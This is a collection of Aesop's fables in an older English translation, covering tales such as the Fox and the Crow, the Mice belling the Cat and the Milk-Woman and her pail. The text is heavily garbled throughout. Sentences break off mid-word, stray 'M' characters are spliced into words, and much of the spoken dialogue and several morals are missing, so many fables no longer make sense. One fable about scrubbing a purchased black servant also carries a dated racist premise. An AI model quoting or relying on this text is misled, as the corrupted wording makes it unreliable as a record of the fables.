My sons, there is a great treasure
hid in one of my vineyM
 The sons, after his death, took their
spades and mattocks and carefully dug over every portion of their
land. They found no treasure, but the vines repaid their labor by an
extraordinary and superabundant crop.
The Crab and Its Mother
A CRAB said to her son,
Why do you walk so one-sided, my child? It
is far more becoming to go straight forward.
 The young Crab replied:
Quite true, dear Mother; and if you will show me the straight way, I
will promise to walk in it.
ied in vain, and submitted
without remonstrance to the reproof of her child.
Example is more powerful than precept.
The Heifer and the Ox
A HEIFER saw an Ox hard at work harnessed to a plow, and tormented
him with reflections on his unhappy fate in being compelled to labor.
Shortly afterwards, at the harvest festival, the owner released the Ox
from his yoke, but bound the Heifer with cords and led him away to the
altar to be slain in honor of the occasion. The Ox saw what was being
id with a smile to the Heifer:
For this you were allowed to
live in idleness, because you were presently to be sacrificed.
The Swallow, the Serpent, and the Court of Justice
A SWALLOW, returning from abroad and especially fond of dwelling with
men, built herself a nest in the wall of a Court of Justice and there
hatched seven young birds. A Serpent gliding past the nest from its hole
in the wall ate up the young unfledged nestlings. The Swallow, finding
her nest empty, lamented greatly and exM
Woe to me a stranger!
that in this place where all others
 rights are protected, I alone
should suffer wrong.
The Thief and His Mother
A BOY stole a lesson-book from one of his schoolfellows and took it home
to his Mother. She not only abstained from beating him, but encouraged
him. He next time stole a cloak and brought it to her, and she again
commended him. The Youth, advanced to adulthood, proceeded to steal
things of still greater value. At last he was caught in the very act,M
and having his hands bound behind him, was led away to the place of
public execution. His Mother followed in the crowd and violently beat
her breast in sorrow, whereupon the young man said,
something to my Mother in her ear.
 She came close to him, and he
quickly seized her ear with his teeth and bit it off. The Mother
upbraided him as an unnatural child, whereon he replied,
had beaten me when I first stole and brought to you that lesson-book,
I should not have come to thisM
, nor have been thus led to a disgraceful
The Old Man and Death
AN OLD MAN was employed in cutting wood in the forest, and, in carrying
the faggots to the city for sale one day, became very wearied with his
long journey. He sat down by the wayside, and throwing down his load,
 immediately appeared in answer to
his summons and asked for what reason he had called him. The Old Man
That, lifting up the load, you may place it agaiM
The Fir-Tree and the Bramble
A FIR-TREE said boastingly to the Bramble,
You are useful for nothing
at all; while I am everywhere used for roofs and houses.
You poor creature, if you would only call to mind the axes
and saws which are about to hew you down, you would have reason to wish
that you had grown up a Bramble, not a Fir-Tree.
Better poverty without care, than riches with.
The Mouse, the Frog, and the Hawk
lways lived on the land, by an unlucky chance formed an
intimate acquaintance with a Frog, who lived for the most part in the
water. The Frog, one day intent on mischief, bound the foot of the Mouse
tightly to his own. Thus joined together, the Frog first of all led his
friend the Mouse to the meadow where they were accustomed to find their
food. After this, he gradually led him towards the pool in which he
lived, until reaching the very brink, he suddenly jumped in, dragging
the Mouse with him. The Frog enjM
oyed the water amazingly, and swam
croaking about, as if he had done a good deed. The unhappy Mouse was
soon suffocated by the water, and his dead body floated about on the
surface, tied to the foot of the Frog. A Hawk observed it, and, pouncing
upon it with his talons, carried it aloft. The Frog, being still
fastened to the leg of the Mouse, was also carried off a prisoner, and
was eaten by the Hawk.
Harm hatch, harm catch.
The Man Bitten by a Dog
A MAN who had been bitten by a Dog went about M
in quest of someone who
might heal him. A friend, meeting him and learning what he wanted, said,
If you would be cured, take a piece of bread, and dip it in the blood
from your wound, and go and give it to the Dog that bit you.
who had been bitten laughed at this advice and said,
do so, it would be as if I should beg every Dog in the town to bite me.
Benefits bestowed upon the evil-disposed increase their means of
own in its stream two Pots, one made of earthenware and
the other of brass. The Earthen Pot said to the Brass Pot,
at a distance and do not come near me, for if you touch me ever so
slightly, I shall be broken in pieces, and besides, I by no means wish
Equals make the best friends.
The Wolf and the Sheep
A WOLF, sorely wounded and bitten by dogs, lay sick and maimed in his
lair. Being in want of food, he called to a Sheep who was passing, and
 some water from a stream flowing close beside him.
if you will bring me drink, I will find means to
provide myself with meat.
if I should bring you
the draught, you would doubtless make me provide the meat also.
Hypocritical speeches are easily seen through.
THE PURCHASER of a black servant was persuaded that the color of his
skin arose from dirt contracted through the neglect of his former
masters. On bringing him home he rM
esorted to every means of cleaning,
and subjected the man to incessant scrubbings. The servant caught a
severe cold, but he never changed his color or complexion.
s bred in the bone will stick to the flesh.
The Fisherman and His Nets
A FISHERMAN, engaged in his calling, made a very successful cast and
captured a great haul of fish. He managed by a skillful handling of his
net to retain all the large fish and to draw them to the shore; but he
could not prevent the smaller fish from fallingM
 back through the meshes
of the net into the sea.
The Huntsman and the Fisherman
A HUNTSMAN, returning with his dogs from the field, fell in by chance
with a Fisherman who was bringing home a basket well laden with fish.
The Huntsman wished to have the fish, and their owner experienced an
equal longing for the contents of the game-bag. They quickly agreed to
exchange the produce of their day
s sport. Each was so well pleased with
his bargain that they made for some time the same exchange day aftM
day. Finally a neighbor said to them,
If you go on in this way, you
will soon destroy by frequent use the pleasure of your exchange, and
each will again wish to retain the fruits of his own sport.
The Old Woman and the Wine-Jar
AN OLD WOMAN found an empty jar which had lately been full of prime old
wine and which still retained the fragrant smell of its former contents.
She greedily placed it several times to her nose, and drawing it
backwards and forwards said,
 most delicious! How nice must the
Wine itself have been, when it leaves behind in the very vessel which
contained it so sweet a perfume!
The memory of a good deed lives.
The Fox and the Crow
A CROW having stolen a bit of meat, perched in a tree and held it in her
beak. A Fox, seeing this, longed to possess the meat himself, and by a
wily stratagem succeeded.
How handsome is the Crow,
the beauty of her shape and in the fairness of her complexion! Oh,
re only equal to her beauty, she would deservedly be
considered the Queen of Birds!
 This he said deceitfully; but the Crow,
anxious to refute the reflection cast upon her voice, set up a loud caw
and dropped the flesh. The Fox quickly picked it up, and thus addressed
My good Crow, your voice is right enough, but your wit is
A MAN had two dogs: a Hound, trained to assist him in his sports, and a
Housedog, taught to watch the house. When he returned home afteM
s sport, he always gave the Housedog a large share of his spoil. The
Hound, feeling much aggrieved at this, reproached his companion, saying,
It is very hard to have all this labor, while you, who do not assist
in the chase, luxuriate on the fruits of my exertions.
Do not blame me, my friend, but find fault with the master,
who has not taught me to labor, but to depend for subsistence on the
Children are not to be blamed for the faults of tM
The Stag in the Ox-Stall
A STAG, roundly chased by the hounds and blinded by fear to the danger
he was running into, took shelter in a farmyard and hid himself in a
shed among the oxen. An Ox gave him this kindly warning:
creature! why should you thus, of your own accord, incur destruction
and trust yourself in the house of your enemy?
allow me, friend, to stay where I am, and I will undertake to find some
favorable opportunity of effecting mM
 At the approach of the
evening the herdsman came to feed his cattle, but did not see the Stag;
and even the farm-bailiff with several laborers passed through the
shed and failed to notice him. The Stag, congratulating himself on his
safety, began to express his sincere thanks to the Oxen who had kindly
helped him in the hour of need. One of them again answered him:
indeed wish you well, but the danger is not over. There is one other yet
to pass through the shed, who has as it were a hundreM
he has come and gone, your life is still in peril.
master himself entered, and having had to complain that his oxen had
not been properly fed, he went up to their racks and cried out:
there such a scarcity of fodder? There is not half enough straw for them
to lie on. Those lazy fellows have not even swept the cobwebs away.
 While he thus examined everything in turn, he spied the tips of the
antlers of the Stag peeping out of the straw. Then summoning his
laborers, he ordered that the Stag should be seized and killed.
The Hawk, the Kite, and the Pigeons
THE PIGEONS, terrified by the appearance of a Kite, called upon the Hawk
to defend them. He at once consented. When they had admitted him into
the cote, they found that he made more havoc and slew a larger number of
them in one day than the Kite could pounce upon in a whole year.
Avoid a remedy that is worse than the disease.
The Widow and the Sheep
A CERTAIN poor widow had one solitary M
Sheep. At shearing time, wishing
to take his fleece and to avoid expense, she sheared him herself, but
used the shears so unskillfully that with the fleece she sheared the
flesh. The Sheep, writhing with pain, said,
Why do you hurt me so,
Mistress? What weight can my blood add to the wool? If you want my
flesh, there is the butcher, who will kill me in an instant; but if you
want my fleece and wool, there is the shearer, who will shear and not
The least outlay is not always the greatest gaiM
The Wild Ass and the Lion
A WILD ASS and a Lion entered into an alliance so that they might
capture the beasts of the forest with greater ease. The Lion agreed to
assist the Wild Ass with his strength, while the Wild Ass gave the Lion
the benefit of his greater speed. When they had taken as many beasts as
their necessities required, the Lion undertook to distribute the prey,
and for this purpose divided it into three shares.
because I am King: and M
the second share, as a
partner with you in the chase: and the third share (believe me) will be
a source of great evil to you, unless you willingly resign it to me, and
set off as fast as you can.
The Eagle and the Arrow
AN EAGLE sat on a lofty rock, watching the movements of a Hare whom he
sought to make his prey. An archer, who saw the Eagle from a place of
concealment, took an accurate aim and wounded him mortally. The Eagle
gave one look at the arrow that had entered hiM
s heart and saw in that
single glance that its feathers had been furnished by himself.
a double grief to me,
that I should perish by an arrow
feathered from my own wings.
A KITE, sick unto death, said to his mother:
O Mother! do not mourn,
but at once invoke the gods that my life may be prolonged.
Alas! my son, which of the gods do you think will pity you? Is there
one whom you have not outraged by filching from their very altars M
of the sacrifice offered up to them?
We must make friends in prosperity if we would have their help in
The Lion and the Dolphin
A LION roaming by the seashore saw a Dolphin lift up its head out of the
waves, and suggested that they contract an alliance, saying that of all
the animals they ought to be the best friends, since the one was the
king of beasts on the earth, and the other was the sovereign ruler of
all the inhabitants of the ocean. The Dolphin gladly consented to M
request. Not long afterwards the Lion had a combat with a wild bull, and
called on the Dolphin to help him. The Dolphin, though quite willing to
give him assistance, was unable to do so, as he could not by any means
reach the land. The Lion abused him as a traitor. The Dolphin replied,
Nay, my friend, blame not me, but Nature, which, while giving me the
sovereignty of the sea, has quite denied me the power of living upon the
The Lion and the Boar
ON A SUMMER DAY, when the great hM
eat induced a general thirst among the
beasts, a Lion and a Boar came at the same moment to a small well to
drink. They fiercely disputed which of them should drink first, and
were soon engaged in the agonies of a mortal combat. When they stopped
suddenly to catch their breath for a fiercer renewal of the fight,
they saw some Vultures waiting in the distance to feast on the one that
should fall first. They at once made up their quarrel, saying,
is better for us to make friends, than to become the food M
A DOE blind in one eye was accustomed to graze as near to the edge of
the cliff as she possibly could, in the hope of securing her greater
safety. She turned her sound eye towards the land that she might get the
earliest tidings of the approach of hunter or hound, and her injured eye
towards the sea, from whence she entertained no anticipation of danger.
Some boatmen sailing by saw her, and taking a successful aim, mortally
wounded her. Yielding up her laM
st breath, she gasped forth this lament:
O wretched creature that I am! to take such precaution against the
land, and after all to find this seashore, to which I had come for
safety, so much more perilous.
The Shepherd and the Sea
A SHEPHERD, keeping watch over his sheep near the shore, saw the
Sea very calm and smooth, and longed to make a voyage with a view to
commerce. He sold all his flock, invested it in a cargo of dates, and
set sail. But a very great tempest came on, and the ship beinM
of sinking, he threw all his merchandise overboard, and barely escaped
with his life in the empty ship. Not long afterwards when someone passed
by and observed the unruffled calm of the Sea, he interrupted him and
It is again in want of dates, and therefore looks quiet.
The Ass, the Cock, and the Lion
AN ASS and a Cock were in a straw-yard together when a Lion, desperate
from hunger, approached the spot. He was about to spring upon the Ass,
when the Cock (to the sound of whM
ose voice the Lion, it is said, has a
singular aversion) crowed loudly, and the Lion fled away as fast as he
could. The Ass, observing his trepidation at the mere crowing of a Cock
summoned courage to attack him, and galloped after him for that purpose.
He had run no long distance, when the Lion, turning about, seized him
and tore him to pieces.
False confidence often leads into danger.
The Mice and the Weasels
THE WEASELS and the Mice waged a perpetual war with each other, in
was shed. The Weasels were always the victors. The Mice
thought that the cause of their frequent defeats was that they had no
leaders set apart from the general army to command them, and that they
were exposed to dangers from lack of discipline. They therefore chose as
leaders Mice that were most renowned for their family descent, strength,
and counsel, as well as those most noted for their courage in the fight,
so that they might be better marshaled in battle array and formed into
troops, regiments, and batM
talions. When all this was done, and the army
disciplined, and the herald Mouse had duly proclaimed war by challenging
the Weasels, the newly chosen generals bound their heads with straws,
that they might be more conspicuous to all their troops. Scarcely had
the battle begun, when a great rout overwhelmed the Mice, who scampered
off as fast as they could to their holes. The generals, not being able
to get in on account of the ornaments on their heads, were all captured
and eaten by the Weasels.
onor the more danger.
THE MICE summoned a council to decide how they might best devise means
of warning themselves of the approach of their great enemy the Cat.
Among the many plans suggested, the one that found most favor was the
proposal to tie a bell to the neck of the Cat, so that the Mice, being
warned by the sound of the tinkling, might run away and hide themselves
in their holes at his approach. But when the Mice further debated who
among them should thus
 there was no one found to do it.
The Wolf and the Housedog
A WOLF, meeting a big well-fed Mastiff with a wooden collar about his
neck asked him who it was that fed him so well and yet compelled him to
drag that heavy log about wherever he went.
Then said the Wolf:
May no friend of mine ever be in such a plight; for
the weight of this chain is enough to spoil the appetite.
The Rivers and the Sea
THE RIVERS joined together to complain to the Sea, saM
that when we flow into your tides so potable and sweet, you work in
us such a change, and make us salty and unfit to drink?
perceiving that they intended to throw the blame on him, said,
cease to flow into me, and then you will not be made briny.
AN ASS climbed up to the roof of a building, and frisking about there,
broke in the tiling. The owner went up after him and quickly drove him
down, beating him severely with a thick wooden cudgel. M
Why, I saw the Monkey do this very thing yesterday, and you all laughed
heartily, as if it afforded you very great amusement.
A GREAT CITY was besieged, and its inhabitants were called together to
consider the best means of protecting it from the enemy. A Bricklayer
earnestly recommended bricks as affording the best material for an
effective resistance. A Carpenter, with equal enthusiasm, proposed
timber as a preferable method of defense. Upon which a CurrieM
Sirs, I differ from you altogether: there is no material
for resistance equal to a covering of hides; and nothing so good as
Every man for himself.
The Master and His Dogs
A CERTAIN MAN, detained by a storm in his country house, first of
all killed his sheep, and then his goats, for the maintenance of his
household. The storm still continuing, he was obliged to slaughter his
yoke oxen for food. On seeing this, his Dogs took counsel together,
is time for us to be off, for if the master spare not his
oxen, who work for his gain, how can we expect him to spare us?
He is not to be trusted as a friend who mistreats his own family.
The Wolf and the Shepherds
A WOLF, passing by, saw some Shepherds in a hut eating a haunch of
mutton for their dinner. Approaching them, he said,
would raise if I were to do as you are doing!
The Dolphins, the Whales, and the Sprat
THE DOLPHINS and Whales waged a fierce war M
with each other. When the
battle was at its height, a Sprat lifted its head out of the waves and
said that he would reconcile their differences if they would accept
him as an umpire. One of the Dolphins replied,
We would far rather be
destroyed in our battle with each other than admit any interference from
The Ass Carrying the Image
AN ASS once carried through the streets of a city a famous wooden Image,
to be placed in one of its Temples. As he passed along, the crowd maM
lowly prostration before the Image. The Ass, thinking that they bowed
their heads in token of respect for himself, bristled up with pride,
gave himself airs, and refused to move another step. The driver, seeing
him thus stop, laid his whip lustily about his shoulders and said,
you perverse dull-head! it is not yet come to this, that men pay worship
They are not wise who give to themselves the credit due to others.
The Two Travelers and the Axe
TWO MEN were journeying togetM
her. One of them picked up an axe that
lay upon the path, and said,
I have found an axe.
 replied the other,
had not gone far before they saw the owner of the axe pursuing them, and
he who had picked up the axe said,
keep to your first mode of speech, my friend; what you thought
right then, think right now. Say
e danger ought to share the prize.
A LION, worn out with years and powerless from disease, lay on the
ground at the point of death. A Boar rushed upon him, and avenged with
a stroke of his tusks a long-remembered injury. Shortly afterwards the
Bull with his horns gored him as if he were an enemy. When the Ass saw
that the huge beast could be assailed with impunity, he let drive at
his forehead with his heels. The expiring Lion said,
brooked the insults of the braM
ve, but to be compelled to endure such
treatment from thee, a disgrace to Nature, is indeed to die a double
A HOUND, who in the days of his youth and strength had never yielded to
any beast of the forest, encountered in his old age a boar in the chase.
He seized him boldly by the ear, but could not retain his hold because
of the decay of his teeth, so that the boar escaped. His master, quickly
coming up, was very much disappointed, and fiercely abused the dog. The
It was not my fault master: my spirit was as
good as ever, but I could not help my infirmities. I rather deserve to
be praised for what I have been, than to be blamed for what I am.
A BEE from Mount Hymettus, the queen of the hive, ascended to Olympus to
present Jupiter some honey fresh from her combs. Jupiter, delighted with
the offering of honey, promised to give whatever she should ask. She
therefore besought him, saying,
Give me, I pray thee, a stiM
any mortal shall approach to take my honey, I may kill him.
much displeased, for he loved the race of man, but could not refuse the
request because of his promise. He thus answered the Bee:
have your request, but it will be at the peril of your own life. For if
you use your sting, it shall remain in the wound you make, and then you
will die from the loss of it.
Evil wishes, like chickens, come home to roost.
The Milk-Woman and Her Pail
ghter was carrying her Pail of milk from the field to the
farmhouse, when she fell a-musing.
The money for which this milk will
be sold, will buy at least three hundred eggs. The eggs, allowing for
all mishaps, will produce two hundred and fifty chickens. The chickens
will become ready for the market when poultry will fetch the highest
price, so that by the end of the year I shall have money enough from
my share to buy a new gown. In this dress I will go to the Christmas
parties, where all the young felloM
ws will propose to me, but I will toss
my head and refuse them every one.
 At this moment she tossed her head
in unison with her thoughts, when down fell the milk pail to the ground,
and all her imaginary schemes perished in a moment.
The Seaside Travelers
SOME TRAVELERS, journeying along the seashore, climbed to the summit of
a tall cliff, and looking over the sea, saw in the distance what they
thought was a large ship. They waited in the hope of seeing it enter
the harbor, but as the object onM
 which they looked was driven nearer to
shore by the wind, they found that it could at the most be a small boat,
and not a ship. When however it reached the beach, they discovered
that it was only a large faggot of sticks, and one of them said to
We have waited for no purpose, for after all there is
nothing to see but a load of wood.
Our mere anticipations of life outrun its realities.
The Brazier and His Dog
A BRAZIER had a little Dog, which was a great favorite with his mM
and his constant companion. While he hammered away at his metals the Dog
slept; but when, on the other hand, he went to dinner and began to eat,
the Dog woke up and wagged his tail, as if he would ask for a share of
his meal. His master one day, pretending to be angry and shaking his
stick at him, said,
You wretched little sluggard! what shall I do to
you? While I am hammering on the anvil, you sleep on the mat; and when
I begin to eat after my toil, you wake up and wag your tail for food. Do
not know that labor is the source of every blessing, and that none
but those who work are entitled to eat?
The Ass and His Shadow
A TRAVELER hired an Ass to convey him to a distant place. The day being
intensely hot, and the sun shining in its strength, the Traveler stopped
to rest, and sought shelter from the heat under the Shadow of the Ass.
As this afforded only protection for one, and as the Traveler and the
owner of the Ass both claimed it, a violent dispute arose between them
of them had the right to the Shadow. The owner maintained
that he had let the Ass only, and not his Shadow. The Traveler asserted
that he had, with the hire of the Ass, hired his Shadow also. The
quarrel proceeded from words to blows, and while the men fought, the Ass
In quarreling about the shadow we often lose the substance.
The Ass and His Masters
AN ASS, belonging to an herb-seller who gave him too little food and
too much work made a petition to Jupiter to be released from hisM
service and provided with another master. Jupiter, after warning him
that he would repent his request, caused him to be sold to a tile-maker.
Shortly afterwards, finding that he had heavier loads to carry and
harder work in the brick-field, he petitioned for another change of
master. Jupiter, telling him that it would be the last time that he
could grant his request, ordained that he be sold to a tanner. The
Ass found that he had fallen into worse hands, and noting his master
It would have been better for me to have
been either starved by the one, or to have been overworked by the other
of my former masters, than to have been bought by my present owner, who
will even after I am dead tan my hide, and make me useful to him.
The Oak and the Reeds
A VERY LARGE OAK was uprooted by the wind and thrown across a stream. It
fell among some Reeds, which it thus addressed:
I wonder how you, who
are so light and weak, are not entirely crushed by these strong windM
You fight and contend with the wind, and consequently you
are destroyed; while we on the contrary bend before the least breath of
air, and therefore remain unbroken, and escape.
The Fisherman and the Little Fish
A FISHERMAN who lived on the produce of his nets, one day caught a
single small Fish as the result of his day
s labor. The Fish, panting
convulsively, thus entreated for his life:
O Sir, what good can I be to
you, and how little am I worM
th? I am not yet come to my full size. Pray
spare my life, and put me back into the sea. I shall soon become a large
fish fit for the tables of the rich, and then you can catch me again,
and make a handsome profit of me.
 The Fisherman replied,
indeed be a very simple fellow if, for the chance of a greater uncertain
profit, I were to forego my present certain gain.
The Hunter and the Woodman
A HUNTER, not very bold, was searching for the tracks of a Lion. He
asked a man felling oaM
ks in the forest if he had seen any marks of his
footsteps or knew where his lair was.
show you the Lion himself.
 The Hunter, turning very pale and chattering
with his teeth from fear, replied,
No, thank you. I did not ask that;
it is his track only I am in search of, not the Lion himself.
The hero is brave in deeds as well as words.
The Wild Boar and the Fox
A WILD BOAR stood under a tree and rubbed his tusks against the trunk. A
ked him why he thus sharpened his teeth when there was
no danger threatening from either huntsman or hound. He replied,
it advisedly; for it would never do to have to sharpen my weapons just
at the time I ought to be using them.
The Lion in a Farmyard
A LION entered a farmyard. The Farmer, wishing to catch him, shut the
gate. When the Lion found that he could not escape, he flew upon the
sheep and killed them, and then attacked the oxen. The Farmer, beginning
to be alarmed for his own sM
afety, opened the gate and released the Lion.
On his departure the Farmer grievously lamented the destruction of his
sheep and oxen, but his wife, who had been a spectator to all that took
On my word, you are rightly served, for how could you for
a moment think of shutting up a Lion along with you in your farmyard
when you know that you shake in your shoes if you only hear his roar at
Mercury and the Sculptor
MERCURY ONCE DETERMINED to learn in what esteem he was helM
mortals. For this purpose he assumed the character of a man and visited
in this disguise a Sculptor
s studio having looked at various statues,
he demanded the price of two figures of Jupiter and Juno. When the sum
at which they were valued was named, he pointed to a figure of himself,
saying to the Sculptor,
You will certainly want much more for this, as
it is the statue of the Messenger of the Gods, and author of all your
 The Sculptor replied,
Well, if you will buy these, I
you that into the bargain.
The Swan and the Goose
A CERTAIN rich man bought in the market a Goose and a Swan. He fed the
one for his table and kept the other for the sake of its song. When the
time came for killing the Goose, the cook went to get him at night, when
it was dark, and he was not able to distinguish one bird from the other.
By mistake he caught the Swan instead of the Goose. The Swan, threatened
with death, burst forth into song and thus made himself known by his
served his life by his melody.
A VERY HUNGRY FOX, seeing some bread and meat left by shepherds in the
hollow of an oak, crept into the hole and made a hearty meal. When he
finished, he was so full that he was not able to get out, and began to
groan and lament his fate. Another Fox passing by heard his cries, and
coming up, inquired the cause of his complaining. On learning what had
happened, he said to him,
Ah, you will have to remain there, my friend,
until you become such as yM
ou were when you crept in, and then you will
The Fox and the Woodcutter
A FOX, running before the hounds, came across a Woodcutter felling
an oak and begged him to show him a safe hiding-place. The Woodcutter
advised him to take shelter in his own hut, so the Fox crept in and
hid himself in a corner. The huntsman soon came up with his hounds and
inquired of the Woodcutter if he had seen the Fox. He declared that he
had not seen him, and yet pointed, all the time he was speaking,M
hut where the Fox lay hidden. The huntsman took no notice of the signs,
but believing his word, hastened forward in the chase. As soon as
they were well away, the Fox departed without taking any notice of the
Woodcutter: whereon he called to him and reproached him, saying,
ungrateful fellow, you owe your life to me, and yet you leave me without
Indeed, I should have thanked you
fervently if your deeds had been as good as your words, and if your
ad not been traitors to your speech.
The Birdcatcher, the Partridge, and the Cock
A BIRDCATCHER was about to sit down to a dinner of herbs when a friend
unexpectedly came in. The bird-trap was quite empty, as he had caught
nothing, and he had to kill a pied Partridge, which he had tamed for
a decoy. The bird entreated earnestly for his life:
without me when next you spread your nets? Who would chirp you to sleep,
or call for you the covey of answering birds?
his life, and determined to pick out a fine young Cock just attaining to
his comb. But the Cock expostulated in piteous tones from his perch:
you kill me, who will announce to you the appearance of the dawn? Who
will wake you to your daily tasks or tell you when it is time to visit
the bird-trap in the morning?
What you say is true. You
are a capital bird at telling the time of day. But my friend and I must
Necessity knows no law.
A MONKEY perched upon a lofty tree saw some Fishermen casting their
nets into a river, and narrowly watched their proceedings. The Fishermen
after a while gave up fishing, and on going home to dinner left their
nets upon the bank. The Monkey, who is the most imitative of animals,
descended from the treetop and endeavored to do as they had done. Having
handled the net, he threw it into the river, but became tangled in
the meshes and drowned. With his last breath he said to himself,
rightly served; for what business had I who had never handled a net to
The Flea and the Wrestler
A FLEA settled upon the bare foot of a Wrestler and bit him, causing the
man to call loudly upon Hercules for help. When the Flea a second time
hopped upon his foot, he groaned and said,
O Hercules! if you will
not help me against a Flea, how can I hope for your assistance against
greater antagonists?
TWO FROGS dwelt in the same pool. When the pooM
l dried up under the
s heat, they left it and set out together for another home. As
they went along they chanced to pass a deep well, amply supplied with
water, and when they saw it, one of the Frogs said to the other,
descend and make our abode in this well: it will furnish us with shelter
 The other replied with greater caution,
water should fail us. How can we get out again from so great a depth?
Do nothing without a regard to the consequences.
The Cat and the Mice
A CERTAIN HOUSE was overrun with Mice. A Cat, discovering this, made
her way into it and began to catch and eat them one by one. Fearing for
their lives, the Mice kept themselves close in their holes. The Cat was
no longer able to get at them and perceived that she must tempt them
forth by some device. For this purpose she jumped upon a peg, and
suspending herself from it, pretended to be dead. One of the Mice,
peeping stealthily out, saw her and said,
Ah, my good madam, even
ough you should turn into a meal-bag, we will not come near you.
The Lion, the Bear, and the Fox
A LION and a Bear seized a Kid at the same moment, and fought fiercely
for its possession. When they had fearfully lacerated each other and
were faint from the long combat, they lay down exhausted with fatigue. A
Fox, who had gone round them at a distance several times, saw them both
stretched on the ground with the Kid lying untouched in the middle. He
ran in between them, and seizing the Kid scampeM
red off as fast as he
could. The Lion and the Bear saw him, but not being able to get up,
Woe be to us, that we should have fought and belabored ourselves
only to serve the turn of a Fox.
It sometimes happens that one man has all the toil, and another all the
The Doe and the Lion
A DOE hard pressed by hunters sought refuge in a cave belonging to a
Lion. The Lion concealed himself on seeing her approach, but when she
was safe within the cave, sprang upon her and tore her to pM
 exclaimed the Doe,
who have escaped from man, only to throw
myself into the mouth of a wild beast?
In avoiding one evil, care must be taken not to fall into another.
The Farmer and the Fox
A FARMER, who bore a grudge against a Fox for robbing his poultry yard,
caught him at last, and being determined to take an ample revenge, tied
some rope well soaked in oil to his tail, and set it on fire. The Fox by
a strange fatality rushed to the fields of the Farmer who had caM
him. It was the time of the wheat harvest; but the Farmer reaped nothing
that year and returned home grieving sorely.
The Seagull and the Kite
A SEAGULL having bolted down too large a fish, burst its deep gullet-bag
and lay down on the shore to die. A Kite saw him and exclaimed:
richly deserve your fate; for a bird of the air has no business to seek
its food from the sea.
Every man should be content to mind his own business.
The Philosopher, the Ants, and Mercury
HILOSOPHER witnessed from the shore the shipwreck of a vessel, of
which the crew and passengers were all drowned. He inveighed against
the injustice of Providence, which would for the sake of one criminal
perchance sailing in the ship allow so many innocent persons to perish.
As he was indulging in these reflections, he found himself surrounded
by a whole army of Ants, near whose nest he was standing. One of them
climbed up and stung him, and he immediately trampled them all to death
with his foot. Mercury pM
resented himself, and striking the Philosopher
with his wand, said,
And are you indeed to make yourself a judge of
the dealings of Providence, who hast thyself in a similar manner treated
The Mouse and the Bull
A BULL was bitten by a Mouse and, angered by the wound, tried to capture
him. But the Mouse reached his hole in safety. Though the Bull dug into
the walls with his horns, he tired before he could rout out the Mouse,
and crouching down, went to sleep outside the hole. M
out, crept furtively up his flank, and again biting him, retreated to
his hole. The Bull rising up, and not knowing what to do, was sadly
perplexed. At which the Mouse said,
The great do not always prevail.
There are times when the small and lowly are the strongest to do
The Lion and the Hare
A LION came across a Hare, who was fast asleep. He was just in the act
of seizing her, when a fine young Hart trotted by, and he left the Hare
to follow him. The Hare, scaredM
 by the noise, awoke and scudded away.
The Lion was unable after a long chase to catch the Hart, and returned
to feed upon the Hare. On finding that the Hare also had run off, he
I am rightly served, for having let go of the food that I had in
my hand for the chance of obtaining more.
The Peasant and the Eagle
A PEASANT found an Eagle captured in a trap, and much admiring the bird,
set him free. The Eagle did not prove ungrateful to his deliverer, for
seeing the Peasant sitting under aM
 wall which was not safe, he flew
toward him and with his talons snatched a bundle from his head. When the
Peasant rose in pursuit, the Eagle let the bundle fall again. Taking
it up, the man returned to the same place, to find that the wall under
which he had been sitting had fallen to pieces; and he marveled at the
service rendered him by the Eagle.
The Image of Mercury and the Carpenter
A VERY POOR MAN, a Carpenter by trade, had a wooden image of Mercury,
before which he made offerings day by daM
y, and begged the idol to make
him rich, but in spite of his entreaties he became poorer and poorer.
At last, being very angry, he took his image down from its pedestal and
dashed it against the wall. When its head was knocked off, out came a
stream of gold, which the Carpenter quickly picked up and said,
I think thou art altogether contradictory and unreasonable; for when I
paid you honor, I reaped no benefits: but now that I maltreat you I am
loaded with an abundance of riches.
A BULL, escaping from a Lion, hid in a cave which some shepherds had
recently occupied. As soon as he entered, a He-Goat left in the cave
sharply attacked him with his horns. The Bull quietly addressed him:
Butt away as much as you will. I have no fear of you, but of the
Lion. Let that monster go away and I will soon let you know what is the
respective strength of a Goat and a Bull.
It shows an evil disposition to take advantage of a friend in distress.
A PRINCE had some Monkeys trained to dance. Being naturally great mimics
s actions, they showed themselves most apt pupils, and when
arrayed in their rich clothes and masks, they danced as well as any of
the courtiers. The spectacle was often repeated with great applause,
till on one occasion a courtier, bent on mischief, took from his pocket
a handful of nuts and threw them upon the stage. The Monkeys at the
sight of the nuts forgot their dancing and became (as indeed they were)
f actors. Pulling off their masks and tearing their
robes, they fought with one another for the nuts. The dancing spectacle
thus came to an end amidst the laughter and ridicule of the audience.
The Fox and the Leopard
THE FOX and the Leopard disputed which was the more beautiful of the
two. The Leopard exhibited one by one the various spots which decorated
his skin. But the Fox, interrupting him, said,
beautiful than you am I, who am decorated, not in body, but in mind.
The Monkeys and Their Mother
THE MONKEY, it is said, has two young ones at each birth. The Mother
fondles one and nurtures it with the greatest affection and care, but
hates and neglects the other. It happened once that the young one which
was caressed and loved was smothered by the too great affection of the
Mother, while the despised one was nurtured and reared in spite of the
neglect to which it was exposed.
The best intentions will not always ensure success.
The Oaks and Jupiter
OAKS presented a complaint to Jupiter, saying,
purpose the burden of life, as of all the trees that grow we are the
most continually in peril of the axe.
 Jupiter made answer:
only to thank yourselves for the misfortunes to which you are exposed:
for if you did not make such excellent pillars and posts, and prove
yourselves so serviceable to the carpenters and the farmers, the axe
would not so frequently be laid to your roots.
The Hare and the Hound
ed a Hare from his lair, but after a long run, gave up the
chase. A goat-herd seeing him stop, mocked him, saying
is the best runner of the two.
 The Hound replied,
difference between us: I was only running for a dinner, but he for his
The Traveler and Fortune
A TRAVELER wearied from a long journey lay down, overcome with fatigue,
on the very brink of a deep well. Just as he was about to fall into the
water, Dame Fortune, it is said, appeared to hM
im and waking him from
his slumber thus addressed him:
Good Sir, pray wake up: for if you fall
into the well, the blame will be thrown on me, and I shall get an
ill name among mortals; for I find that men are sure to impute their
calamities to me, however much by their own folly they have really
brought them on themselves.
Everyone is more or less master of his own fate.
A BALD KNIGHT, who wore a wig, went out to hunt. A sudden puff of wind
blew off his hat and wig, at whiM
ch a loud laugh rang forth from his
companions. He pulled up his horse, and with great glee joined in the
What a marvel it is that hairs which are not mine
should fly from me, when they have forsaken even the man on whose head
The Shepherd and the Dog
A SHEPHERD penning his sheep in the fold for the night was about to shut
up a wolf with them, when his Dog perceiving the wolf said,
can you expect the sheep to be safe if you admit a wolf into the foldM
A LAMP, soaked with too much oil and flaring brightly, boasted that it
